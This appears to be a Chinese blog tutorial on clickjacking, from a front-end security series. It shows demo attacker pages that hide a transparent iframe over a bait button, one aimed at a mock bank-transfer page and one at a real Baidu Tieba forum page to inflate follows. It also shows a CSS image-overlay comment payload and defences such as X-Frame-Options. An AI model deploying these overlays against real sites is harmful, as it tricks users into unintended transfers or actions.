实践理解 Web 安全 05 点击劫持

最新推荐文章于 2024-05-31 10:59:44 发布

原创最新推荐文章于 2024-05-31 10:59:44 发布 · 326 阅读

0 ·

CC 4.0 BY-SA版权

前端安全专栏收录该内容

12 篇文章

订阅专栏

本文探讨了点击劫持的两种常见手法——透明iframe和图片遮挡，介绍了其工作原理、示例及解决方案，包括设置X-Frame-Options头和防止CSS浮动攻击。

点击劫持

这种方式现在已经比较少见，仅作为了解。

点击劫持（ClickJacking）是一种视觉上的欺骗手段。

常见方式有两种：

攻击者在自己的网页上使用一个透明的 iframe，覆盖在一个操作按钮或链接上，然后诱导用户点击，此时用户将在不知情的情况下点击透明的 iframe 页面
攻击者在可以发布 HTML 内容的网站，发布一个图片链接，然后通过 CSS 让图片遮挡网页原有位置的内容

透明 iframe

示例

clickjacking.html攻击者的网页：

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>攻击者的网页</title>
  </head>
  <body>
    <iframe src="http://localhost:1000/transfer.html" style="position: absolute;top: 75px;left: -2px;background-color: red;opacity:0;"></iframe>
    <h1>在线美女聊天</h1>
    <button style="width: 100px; height: 50px; background-color: aqua;">进入聊天室</button>
  </body>
</html>

transfer.html被攻击网站的页面：

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>银行转账页面</title>
  </head>
  <body>
    <button onClick="alert('转账成功')" style="width: 100px; height: 50px">转账</button>
  </body>
</html>

打开 clickjacking.html：

在这里插入图片描述

被攻击的网站被嵌入到攻击者的网页，并且被隐藏，覆盖到网页内容上，此时点击【进入聊天室】其实点击的是覆盖在上面的被攻击网站中的【转账按钮】。

显示嵌入的页面：

在这里插入图片描述

又或者百度贴吧刷粉：

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>攻击者的网页</title>
  </head>
  <body>
    <iframe src="https://tieba.baidu.com/f?kw=%D2%BB%BB%F7%C4%D0&fr=ala0&tpl=5" style="width:982px;height:500px;position: absolute;opacity:0;"></iframe>
    <h1>在线美女聊天</h1>
    <button style="width: 90px; height: 28px; margin:270px 0 0 300px">进入聊天室</button>
  </body>
</html>

在这里插入图片描述

解决办法

设置页面的 X-Frame-Options HTTP 响应头，指示页面是否允许在 <frame>、<iframe>、<embed> 或 <object> 中展现，这样可以确保网站没有被嵌入到别人的站点里，避免 ClickJacking 攻击。

设置的值：

deny：禁止页面加载在任何 frame 中，同域名页面中嵌套也不行。
sameorigin：页面允许在同域名页面的 frame 中展示
allow-from <uri>：页面可以在指定域名下页面的 frame 中展示，例如 allow-from http://example.com

例如：

京东设置的 sameorigin
Facebook 设置的 deny
Twitter 设置的 deny

在这里插入图片描述

X-Frame-Options 只能通过服务器（IIS、Apache、Nginx等）配置，不能通过 <meta>配置。

更多解决办法参考点击劫持攻击

图片遮挡

图片覆盖攻击，在被攻击网站发布可以自定义 css 或控制 css 的 HTML 图片内容，将图片覆盖在网页原有的内容之上，形成点击劫持。

例如发布一条评论内容：

<a href="http://bank.com/transfer?money=1000&account=xxxxxxxx">
	<img src="XXX" style="width:1000px;height:1000px;position:absolute;top:0;left:0;z-index:9999" />
</a>

这种方式同样适用于 <a> 标签等。

解决办法

检查用户提交的 HTML 代码中，<img>、<a> 等标签的属性是否可能导致浮出，对展示有用户提交内容的 DOM 做一些样式边界控制。

攻击者一般会放一张诱导性的图片，诱导用户点击。

总结

点击劫持算是一种很多人不大关注的攻击。

iframe 方式
- 需要诱导用户进入自己的页面，还要与页面进行交互，实施的攻击成本更高。
- 所做的是拦截一次浅层的点击，不能获取或诱导用户提交的信息，只能劫持一些直接操作，例如点赞、关注等
图片遮挡
- 主要是依靠这种方式进行 CSRF 攻击
- 开发者做好 XSS 和 CSRF 防护，能防御大部分这类攻击